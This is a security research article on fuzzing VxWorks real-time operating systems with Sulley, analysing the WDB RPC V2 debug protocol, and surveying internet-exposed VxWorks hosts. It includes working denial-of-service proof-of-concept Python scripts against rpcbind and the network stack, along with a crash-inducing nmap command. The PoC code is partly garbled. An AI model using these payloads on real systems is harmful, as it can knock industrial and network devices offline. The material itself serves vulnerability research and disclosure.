VxWorks Fuzzing: Vulnerability Mining Debugging
& Exploitation of Industrial Control Real-Time
Operating Systems

Knownsec Security Team
I. Introduction

In terms of VxWorks, we'll quote the following description from an article discussing a topic in 44CON London On Attacking VXWORKS From Stone Age to Interstellar.

VxWorks is the most widespread Real-Time Operating System (RTOS) deployed in embedded systems worldwide. It was designed and developed by US company Wind River (WRS) in 1983. Its marketplace spans across all the crucial security fields, with products such as NASA’s Curiosity Rover on Mars, Boeing 787 Dreamliner and network routers. The high-risk features of these apps have greatly drawn attention on the security of VxWorks.

Wind River claims having at least 1.5 billion devices, which almost supports all embedded CPU architectures in the existing market, including x86 series, MIPS, PowerPC, Freescale ColdFire, Intel i960, SPARC, SH-4, ARM, StrongARM and xScale CPU.

In the 44CON London Security Conference, Yannick Formaggio introduced his in-depth research on VxWorks. He adopted the Fuzzing framework Sulley to perform Fuzzing on multiple protocols in VxWorks systems and discovered some vulnerabilities. A remote debugger was achieved by combining VxWorks’ WDB RPC to conduct relevant debugging analysis.
Since many implementation and vulnerability details have not been made public, we have built a x86 virtual environment of VxWorks 5.5 & 6.6 referencing Formaggio's method and carried out fundamental security researches. This article will introduce the relevant research details and results.

Content

- Vulnerability Overview
- Fuzzing Framework Installation and Sulley & Relevant Protocol Fuzzing
- VxWorks WDB RPC V2 Analysis
- VxWorks WDB RPC V2 Services Exposed in the Internet!!

As it is impossible to include all the research details and methods in this article, we provide the following documents as supplementing materials:

- VxWorks 5.5 & 6.6 Simulation Environment Buildup
- Running VxWorks (5.5) on vmWare
- Python Gray Hat Chapter 9 Sulley

II. Vulnerability Overview

We have reconsidered the security issues pointed out by Formaggio and so far nothing new has been added yet. The details of the vulnerabilities...
are as follows:

1. **Network Stack Issue**

(1) **Vulnerability Description:** some VxWorks 5.x systems will receive a large amount of network packets in a short period of time, which may cause network stack crash, causing VxWorks unable to communicate with outside hosts. Under certain circumstances, terminals will show error messages shown as follows:

```
interrupt: panic: netJobAdd: ring buffer overflow!
interrupt: panic: netJobAdd: ring buffer overflow!
interrupt: panic: netJobAdd: ring buffer overflow!
interrupt: panic: netJobAdd: ring buffer overflow!
interrupt: panic: netJobAdd: ring buffer overflow!
interrupt: panic: netJobAdd: ring buffer overflow!
interrupt: panic: netJobAdd: ring buffer overflow!
interrupt: panic: netJobAdd: ring buffer overflow!
interrupt: panic: netJobAdd: ring buffer overflow!
interrupt: panic: netJobAdd: ring buffer overflow!
interrupt: panic: netJobAdd: ring buffer overflow!
```

Note that VxWorks terminals **will not** input the following notification upon DDos caused by triggering vulnerabilities successfully:

```
interrupt: panic: netJobAdd: ring buffer overflow!
```

But at this time, VxWorks network stacks have already crashed and cannot communicate with the outside world. This can be verified through persistent ping.
The above error notification will appear only upon receiving a large amount of packets.

(2) Affected Versions: certain 5.x versions

(3) Verification Method:

- Execute nmap command "**sudo nmap -sU -p110-166 -r -T5 -n 192.168.1.111**" (multiple times possibly), where 192.168.1.111 is the host IP running VxWorks 5.5. Upon receiving such scanning packets, VxWorks hosts do not show any error notification. However, the network stack is already crashed, unable to communicate with the outside world.

- Send extremely large FTP request packets to the FTP service ran by TCP Port 21.

- This issue can also be verified with Python code:

```python
import socket

UDP_PAYLOAD = b'%x72%xfe%1d%x00%x00%x00%x00%x00%x00%x02%x01%x86%xa0%x00%x01%x97%x7c%x00%x00%x00%x00%x00%x00%x00%x00%x00%x00%x00%x00%x00'  

def poc1(host, rpcPort=111, pktNum=6859):
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    for i in xrange(pktNum):
        sock.sendto(UDP_PAYLOAD, (hvcost, 111))

def poc2(host, rpcPort=111, portNum=26):
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    for port in xrange(rpcPort, rpcPort+portNum+1):
        sock.sendto(UDP_PAYLOAD, (host, port))
```
if __name__ == '__main__':
    import sys
    poc1(host=sys.argv[1], rpcPort=111, pktNum=100000000)
    #poc2(host=sys.argv[1], rpcPort=111, portNum=27)

2. rpcbind Issue

(1) Vulnerability Description: rpcbind service is a part of SUN RPC, listening TCP Port 111 and UDP Port 111. Attackers can crash the rpcbind service by sending specially crafted packets. Such requests may execute any code. Terminals will show the error notification shown as follows:

![Error Notification](image)

(2) Affected Versions: 5.x & 6.x
(3) Verification Methods: We can use the following Python code to verify the vulnerability:

```python
import socket

PAYLOAD_HEX = 'cc6ff7e200000000000000020001a08600000004000000048888888800001100000011000111111111111111111111111111111'

def poc(host, rpcPort=111):
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    sock.sendto(PAYLOAD_HEX.decode('hex'), (host, rpcPort))

if __name__ == '__main__':
    import sys
    poc(sys.argv[1])
```

III. **Sulley Installation & Protocol Fuzzing**

Formaggio uses Sulley to perform Fuzzing on VxWorks. We learn from him and try to achieve Fuzzing based on Sulley.

1. **Sulley Installation**

As to Sulley Installation, detailed specification documents are available on the official website: Sulley - Windows Installation

FreeBuf also translated the above document: Using Fuzzing to Spice up a Penetration Test (with Windows Installation Guide)

Here we simply provide our installation process under Win7 x86:
(1) MinGW

- **Download**

- During installation, “C++ Compiler” and “ObjC Compiler” should also be selected together with the default options in the "Select Components" dialogue.

(2) Download and install Python 2.7 x86 version (Please install the **2.7.2 version** as higher versions such as 2.7.11 may go wrong in the subsequent libdasm compilation steps)

(3) Download and install **Git for Windows**

(4) Add C:\Python27 and C:\MinGW\bin into the system environment variable $PATH.

(5) pydbg

- **Download:** C:sulley\build>**git** clone https://Fitblip@github.com/Fitblip/pydbg.git

- **Compile & Install:** C:sulley\build\pydbg> **python setup.py install**

(6) libdasm

- **Download & Unzip**

- **Compile:** C:sulley\build\libdisasm\pydasm> **python setup.py build_ext -c min2**

- **Install:** C:sulley\build\libdisasm\pydasm> **python setup.py install**

(7) Download & Install **WinPcap**
(8) Download [WinPcap Dev Kit(WpdPack)]

(9) PCapy

- **Download** & Unzip

- Compile (need to designate the “include” and “lib” directories in WpdPack): C:\sulley_build\pcapy-0.10.5>python setup.py build_ext -c mingw32 -l "C:\sulley_build\WpdPack\Include" -L "C:\sulley_build\WpdPack\Lib"

- Installation: C:\sulley_build\pcapy-0.10.5>python setup.py install

(10) Download and install setup tools & pip

(11) Install impacket: pip install -U impacket

(12) Sulley

- Download: C:\sulley_build>git clone https://github.com/OpenRCE/sulley.git

- Confirm that process_monitor.py works normally (without import abnormalities): C:\sulley_build\sulley>python process_monitor.py

- Confirm that network_monitor.py works normally (can print network card list): C:\sulley_build\sulley>python network_monitor.py

2. **FTP Protocol TCP 21 Fuzzing**

Since many commands in FTP protocol execution requires logins, we mainly care about the circumstances without logins.
Considering there are already Sulley-based FTP Fuzzing Programs in github, we can use them to perform Fuzzing directly. The node graph of protocol field “ftp.py fuzz” of the script are shown as follows:

Fuzzing Result:

- Version 6.6 is unaffected.

- Version 5.5 may have ring buffer overflow when sending extremely big FTP request packets continuously, resulting in network connection failure in VxWorls. This issue does not belong to FTP Protocol issues, but belongs to the network stack issues mentioned above instead.

3. **Sun RPC Protocol – rpcbind Service (TCP 111/UDP 111) Fuzzing**

For Sun PRC details, please refer to the following documents:

- [Unix Network Programming Volume 2: Interprocess Communications Second Edition](#) Chapter 16


According to the protocol, we realize the Fuzzing script `rpcbind.py`. 
where `wdbdgb.py` mentioned later is used to record the debugging information during the crash and implement the host features such as auto reboot. The node graph of the protocol field is shown as follows:
where common_fields is the overall request formed by fields with unified structures. It includes the following protocol fields:

<table>
<thead>
<tr>
<th>Field Variable</th>
<th>Field Explanation</th>
<th>Field Length (byte)</th>
<th>Field Type</th>
</tr>
</thead>
<tbody>
<tr>
<td>xid</td>
<td>transaction identifier</td>
<td>4</td>
<td>unsigned int</td>
</tr>
<tr>
<td>mtype</td>
<td>message type</td>
<td>4</td>
<td>enum</td>
</tr>
<tr>
<td>rpcvers</td>
<td>rpc version</td>
<td>4</td>
<td>unsigned int</td>
</tr>
<tr>
<td>prog</td>
<td>remote program</td>
<td>4</td>
<td>unsigned int</td>
</tr>
<tr>
<td>vers</td>
<td>remote program version</td>
<td>4</td>
<td>unsigned int</td>
</tr>
<tr>
<td>proc</td>
<td>the procedure within the remote program to be called</td>
<td>4</td>
<td>unsigned int</td>
</tr>
</tbody>
</table>

The follow-ups are some variable characters. For the sake of simplicity, we omit them here. Please refer to the protocol specification and rpcbind.py code for details.

Fuzzing Result:

- Versions 5.5 & 6.6 both have 18 crashes. It can be infer that these crashes all belong to one category by observing the register states. Such vulnerabilities can only incur portmap service crashes without any influence on other services. The vulnerability has been analyzed
To achieve automatic or semi-automatic Fuzzing, the following problems should be solved usually:

- Generating a large number of protocol packets randomly or in a random manner (generated by Sulley this time)
- Sending the generated packets to components/services being tested (requiring Sulley-based Fuzzing script targeting at specific protocol this time)
- Checking the state of components being tested, e.g., whether they can respond appropriately (difficulty)
- Obtaining the abnormal information of components, e.g., crash reasons, memory contents (difficulty)
- Restoring the components being tested. e.g., reboot.

For VxWorks Fuzzing, solving the above difficulties needs a VxWorks debugger. After research, we know that the debugger among other VxWorks developing components communicates with VxWorks’ TAgent module through TServer based on the WDB RPC protocol. Therefore, WDB RPC is the key element.

WDB RPC has V1 & V2 two version. VxWorks 5.5 uses V1, while VxWorks 6.6 uses V2. Comparing to V1, V2 has more modifications, embodied in protocol field and interaction manners specifically.
In *Shiny Old VxWorks Vulnerabilities*, rapid7 points out the security concerns of WDB Agent and provides the relevant detection and exploitation scripts:

- metasploit-framework/modules/auxiliary/scanner/vxworks/wdbrpc_version.rb
- metasploit-framework/modules/auxiliary/scanner/vxworks/wdbrpc_bootline.rb
- metasploit-framework/modules/auxiliary/admin/vxworks/wdbrpc_reboot.rb
- metasploit-framework/modules/auxiliary/admin/vxworks/wdbrpc_memory_dump.rb

These scripts are all targeting at WDB RPC V1, so WDB RPC V2 cannot be detected and utilized effectively. Therefore this article analyzes V2 instead of V1.

First, we should know what is WDB RPC. WDB RPC is a debugging interface based on the SUN RPC protocol. Its services are running at UDP Port 17185. WDB RPC is included in the VxWoks TAgent module. Using WDB RPC debugging interfaces are not only able to visit system memory directly, but also monitor the work status of all components. When components are abnormal, TAgent will notify the current connected Debugger proactively through TServer, shown as follows (Referencing Wind River Documentation)
If we can place a monitor (VxMon) to substitute TServer and simulate the TAgent module communication between Debugger and VxWorks OS, when VxWorks OS components are abnormal, VxMon can obtain abnormality notifications so as to utilize the relevant information through WDB RPC interfaces and thus solve the above technical difficulties.
1. **WDB RPC V2 Protocol Analysis**

   (1) Request Packets

   WDB Protocol is based on SUN RPC. WDB RPC request packets are constructed as follows (Referencing Wind River Documentation):
From the above figure, we know that a standard WDB RPC request contains the following information:

- IP Header
- UDP Header
- RPC Request Header
- WDB Parameter Wrapper
- Function Input Parameters

In WDB RPC request packets, “WDB Parameter” and “Function Input Parameters” two fields are important. “WDB Parameter Wrapper” contains size, checksum and request sequence of the entire request packet. “Function Input Parameters” are the additional information carried by the request function numbers.
(2) Response Packets

WDB RPC response packets are structured as follows (Referencing Wind River Documentation):

From the above figure, we know that standard WDB RPC response packets contain the following information:

- IP Header
- UDP Header
- RPC Reply Header
- WDB Reply Wrapper
- Function Output
In WDB RPC response packets, “WDB Reply Wrapper” and “Function Output” two fields are important. “WDB Parameter Wrapper” contains the size, checksum and response sequence (Each pair of request and response has the same sequence) of the entire request packet. Function output contains the response output, which is the return information of request function number.

2. Implementing the Communication between VxMon and VxWorks OS - TAgent Module

The biggest difference between WDB RPC V1 & V2 is that when sending various requests (e.g., the WDB_TGT_INFO_GET request acquiring VxWorks Version BSP etc), V1 only needs to send the corresponding request packets, while V2 maintains a mechanism similar to Session. Before sending various requests, a connection request packet WDB_TARGET_CONNECT is required to connect to TAgent successfully. For multiple requests in each Session (including connection packets), the values of their SUN RPC -> Transaction ID field and WDB RPC -> sequence field should be incremented continuously. Otherwise, response packets containing errors will be received.

- WDB_TARGET_CONNECT
The Call Process of VxMon Sending Requests: request to connect to the target with the function number WDB_TARGET_CONNECT
TAgent's Response Process: the target is connected to VxMon (including TAgent's fundamental information)
- **WDB_TGT_INFO_GET**

  VxMon Sending Request to Call Process: VxMon request for target information with the function number WDB_TGT_INFO_GET

  TAgent's Response Process: response packets may contain Vxworks and a lot of information, e.g., system version, terminal size and memory allocation.
Crash Detection Mechanism

The premise is that we intentionally construct an attack program targeting at VxWorks. After the attack, one of the VxWork components will be crashed. Upon this circumstance, TAgent will notify VxMon of the abnormalities.

When VxMon receives the EVENT NOTIFICATION, it will acknowledge by replying packet WDB_EVENT_GET. Otherwise VxWorks will loop this notification. The reasons for abnormalities, task ID of abnormal components and the abnormal address etc. can be acquired through WDB_EVENT_GET. The detailed analysis is as follows:
TAgent's Abnormal Information Notification Process: When VxWorks components are crashed, TAgent will send the following code to notify VxMon:

VxMon's ACK process: VxMon sends request packet WDB_EVENT_GET to acknowledge.

TAgent's Response Process: TAgent will send the abnormal list information to VxMon once receiving WDB_EVENT_GET request.
From WDB_EVENT_GET response packet (the above figure), we know that the task whose Task Conext is 0x79622C has already been crashed. In the meantime, we also verify the VxWorks system notification (task 0x79622C has had a failure and has been stopped), shown as follows:
Next, the host will request more information, e.g., the register content during the crash, memory area, and abnormal code.

By sending WDB_REGS_GET via VxMon, we can acquire the abnormal register contents.

By sending WDB_MEM_READ via VxMon, we can acquire the execution code of the abnormal addresses, shown as follows:
3. **Code**

We encapsulate the above functions with Python. For code details, please refer to `wdbdbg.py` and install the third-party module `capstone` if necessary.

V. **VxWorks WDB RPC V2SEr Services Exposed in the Internet!!!**

WDB RPC’s function is so complete that it has become a double edged sword. Lacking of identity authentification, it can be called by by communicating with VxWork host's Port 17185. If it is used by hackers rather than developers or debuggers, serious harms may be caused:

- Monitor the state of all components (services)
- Malicious firmware & backdoor implant
- Reboot VxWorks devicecs
- Arbitrary memory read/write
- Login bypass
- ...

As Kimon has introduced various attacks based on WDB RPC in details in *Uncovering VxWorks: the Killer of the Internet of Things*, we omit the discussion here. In that article, Kimon also provides z-0ne' global statistics about WDB RPC:

<table>
<thead>
<tr>
<th>Top 10 Countries:</th>
</tr>
</thead>
<tbody>
<tr>
<td>China:        7861</td>
</tr>
<tr>
<td>United States:  5283</td>
</tr>
<tr>
<td>Brazil:       3056</td>
</tr>
<tr>
<td>Italy:        1025</td>
</tr>
<tr>
<td>Japanese:     823</td>
</tr>
<tr>
<td>Russia:       647</td>
</tr>
<tr>
<td>Mexico:       505</td>
</tr>
<tr>
<td>Kazakhstan:   486</td>
</tr>
<tr>
<td>Australia:    481</td>
</tr>
<tr>
<td>India:        448</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>VxWorks Version &amp; Number:</th>
</tr>
</thead>
<tbody>
<tr>
<td>VxWorks5.5.1  15601</td>
</tr>
<tr>
<td>VxWorks5.4.2  6583</td>
</tr>
<tr>
<td>VxWorks5.4   5410</td>
</tr>
</tbody>
</table>

Call wdb rpc-scan script to scan about 50,000+ IP addresses with ports exposed in the Internet via Zmap. Among these IP addresses, 34,000 IP addresses can be used to read system and bootline information.
VxWorks5.4.2  5254  
VxWorks5.5    899  
VxWorks       654  
VxWorks5.3.1  236  

Top 10 Devices:  
Telogy Networks GG30E Reference Board 3674  
TI TNETV1050 Communication Processor  3360  
Motorola MPC82xx ADS - HIP7  2626  
IP-ADSL DSLAM (MPC860/855T)  1972  
HUAWEI FT&IAD  1796  
MPC8245Board: EDSL , Map B (CHRP)  1678  
PowerPC 875, 133MHZ  1553  
Mips 4KEc  1239  
MGCB  912  
Intel IXP425 - IXDP425 BE  887  

Affected PLC Module Versions:  
Rockwell Automation 1756-ENBT with firmware versions 3.2.6, 3.6.1 etc.  
Siemens CP 1604, Siemens CP 1616  
Schneider Electric Quantum Ethernet Module  

z-0ne's statistics are quite detailed. But from version distribution, we can observe that the device version he detected and counted in are all WDB RPC V1.  

ZoomEye Team also detected the WDB RPC services exposed in the Internet, i.e., totally 52,586 hosts running WDB RPC services, where:  

- There are 30,339 IP addresses running WDB RPC V1 services (hosts running VxWorks 5.x). The number has decreased comparing to z-0ne's result (34,000) on Nov. 1st, 2015.
There are 2,155 IP addresses running WDB RPC V2 services (hosts running VxWorks 6.x).

There are 20,093 hosts running VxWorks of unknown versions. None of these hosts' requests to WDB_TGT_INFO_GET V1 & V2 returns our expected WDB_TGT_INFO formats but error response packets with shorter lengths. However, these formats comply with WDB RPC’s response formats. So basically such hosts are running WDB RPC services, i.e., VxWorks system of unknown versions. This issue deserves further research.

As to the statistics of V1 services, our result is similar to z-0ne. We omit the discussion here and provide statistics of 2,155 hosts running WDB RPC V2:

1. **TOP 10 Countries with the Most Hosts Running WDB RPC V2:**

<table>
<thead>
<tr>
<th>Country</th>
<th>Codename</th>
<th>Number</th>
</tr>
</thead>
<tbody>
<tr>
<td>India</td>
<td>IN</td>
<td>667</td>
</tr>
<tr>
<td>Uganda</td>
<td>UG</td>
<td>266</td>
</tr>
<tr>
<td>United States</td>
<td>US</td>
<td>228</td>
</tr>
<tr>
<td>Brazil</td>
<td>BR</td>
<td>156</td>
</tr>
<tr>
<td>Bhutan</td>
<td>BT</td>
<td>128</td>
</tr>
<tr>
<td>Canada</td>
<td>CA</td>
<td>73</td>
</tr>
<tr>
<td>Namibia</td>
<td>NA</td>
<td>60</td>
</tr>
<tr>
<td>Rwanda</td>
<td>RW</td>
<td>60</td>
</tr>
<tr>
<td>Sounth Africa</td>
<td>ZA</td>
<td>59</td>
</tr>
</tbody>
</table>
Note that there are 7 hosts located in China.

2. VxWorks 6.x Statistics

<table>
<thead>
<tr>
<th>Version</th>
<th>Number</th>
</tr>
</thead>
<tbody>
<tr>
<td>VxWorks 6.6</td>
<td>1878</td>
</tr>
<tr>
<td>VxWorks 6.7</td>
<td>8</td>
</tr>
<tr>
<td>VxWorks 6.8</td>
<td>250</td>
</tr>
<tr>
<td>VxWorks 6.9</td>
<td>4</td>
</tr>
<tr>
<td>VxWorks (unknown version)</td>
<td>15</td>
</tr>
</tbody>
</table>

3. Chip/Board Statistics

<table>
<thead>
<tr>
<th>Chip/Integrated Circuit Board</th>
<th>Number</th>
<th>Applied Production or Industry</th>
</tr>
</thead>
<tbody>
<tr>
<td>Freescale MPC8308</td>
<td>671</td>
<td>Smart grid home energy gateways, data hubs, wireless LAN access points, wireless home bases, consumer electronics, printing and industrial applications including industrial control and factory automation</td>
</tr>
<tr>
<td>Processor Model</td>
<td>Code</td>
<td>Description</td>
</tr>
<tr>
<td>----------------------------------</td>
<td>------</td>
<td>-----------------------------------------------------------------------------</td>
</tr>
<tr>
<td>Freescale MPC8313E</td>
<td>522</td>
<td>Small office/home office (SOHO), printing, IP services and Industrial Control</td>
</tr>
<tr>
<td>Freescale MPC8544</td>
<td>291</td>
<td>Network, communication and industrial control</td>
</tr>
<tr>
<td>Freescale P1010E - Security Engine</td>
<td>271</td>
<td>IP cameras, industrial robots, wireless LAN (WLAN) access points, network attached storage, printing and imaging, routers</td>
</tr>
<tr>
<td>Freescale MCF5372L</td>
<td>205</td>
<td>Voice Internet Protocol (VoIP), security and access panels, medical-care instruments and equipments</td>
</tr>
<tr>
<td>Freescale Unknown Processor</td>
<td>88</td>
<td></td>
</tr>
<tr>
<td>Freescale CDS MPC8548E - Security Engine</td>
<td>16</td>
<td>Enterprise networks, telecommunications transmission and switching, 3G wireless base stations that are only based on Ethernet or RapidIO</td>
</tr>
<tr>
<td>Freescale E500 : Unknown system version</td>
<td>15</td>
<td>Communication and industrial control</td>
</tr>
<tr>
<td>TI TNETV1050</td>
<td>14</td>
<td>VoIP</td>
</tr>
<tr>
<td>Communication Processor</td>
<td></td>
<td></td>
</tr>
<tr>
<td>--------------------------</td>
<td>---</td>
<td>---</td>
</tr>
<tr>
<td>Unknown</td>
<td>14</td>
<td></td>
</tr>
<tr>
<td>BCM53000 (MIPS74K)</td>
<td>12</td>
<td>Routers</td>
</tr>
<tr>
<td>AR7100 SERIES</td>
<td>8</td>
<td>Home or enterprise wireless access points, routers, network gates</td>
</tr>
<tr>
<td>Freescale P2020E - Security Engine</td>
<td>6</td>
<td>Networking, telecommunications, military, industries</td>
</tr>
<tr>
<td>Freescale E300C3</td>
<td>6</td>
<td>Networking, communications, industrial control</td>
</tr>
<tr>
<td>Intel(R) Pentium4 Processor SYMMETRIC IO MPTABLE</td>
<td>2</td>
<td></td>
</tr>
<tr>
<td>IBM PowerPC [Fluke Odin]_405GPr Rev. 1.1</td>
<td>2</td>
<td>Digital cameras, modems, set-top boxes, mobile phones, GPS, printers, fax machines, network cards, switches, storage devices</td>
</tr>
<tr>
<td>RENESAS SH7751R 240MHz (BE)</td>
<td>2</td>
<td>Routers, PBX, LAN/WAN, printers, scanners, PPC</td>
</tr>
<tr>
<td>Broadcom</td>
<td>2</td>
<td>Ethernet communication and</td>
</tr>
<tr>
<td>Device</td>
<td>Model</td>
<td>Applications</td>
</tr>
<tr>
<td>------------------------</td>
<td>---------------------------</td>
<td>-------------------------------------------------------------------------------</td>
</tr>
<tr>
<td>BCM91250A/swarm</td>
<td></td>
<td>switching</td>
</tr>
<tr>
<td>Xilinx Zynq-7000 ARMv7</td>
<td>2</td>
<td>Advanced driver assistance system, medical endoscopy, small cell baseband, professional cameras, machine vision, Carrier Ethernet Backhaul, 4K2K Ultra High Definition TV, multifunction printers</td>
</tr>
<tr>
<td>BCM1190 A2</td>
<td>2</td>
<td>VoIP, broadband access</td>
</tr>
<tr>
<td>Telvent HU_A ColdFire Board (MCF5485)</td>
<td>1</td>
<td>Industrial and embedded networking</td>
</tr>
<tr>
<td>RDL3000-SS-ARM11MPCore (ARM)</td>
<td>1</td>
<td>Carriage, SCADA, communication</td>
</tr>
<tr>
<td>ZTE SCCE(S3C2510 Rev.10.0)</td>
<td>1</td>
<td>SOHO routers, network gateways, WLAN APs</td>
</tr>
<tr>
<td>AR9100 SERIES</td>
<td>1</td>
<td>Home or enterprise-class wireless access points, gateways</td>
</tr>
</tbody>
</table>

It can be seen that a huge gap exists between the statistical results of using VxWorks 6.x chips or integrated development board and that of using Version 5.x. As VxWorks 6.x is more stable than 5.x, it has been
applied to more systems with higher requirements on stability, trustability and real-time control. This is illustrated by the features of chips or integrated circuit boards in the above Table.

Using WDB RPC V2, we can try to determine the brands or models of the equipments using these chips or integrated development boards and conduct further controls on them. The methods are similar to WDB RPC V1 introduced by Kimon. Interested readers can have an in-depth study on this topic.

VI. Conclusion

This article discusses how to achieve automatic Fuzzing on the FTP services of VxWorks 5.5 and 6.6 as well as the Sun RPC rpcbind services via Fuzzing framework Sulley. Besides, it introduces the indispensable WBD RPC V2 protocol. At last, it detects the WDB RPC V2 protocol exposed in the Internet and gives relevant statistics.

We can also see that exposing WDB RPC services in the Internet can do tremendous harms. However, it is also an essential tool that system developers using VxWorks hardware equipments cannot live without. It should be enabled during the development process and disabled while compiling the VxWorks systems for factory equipment.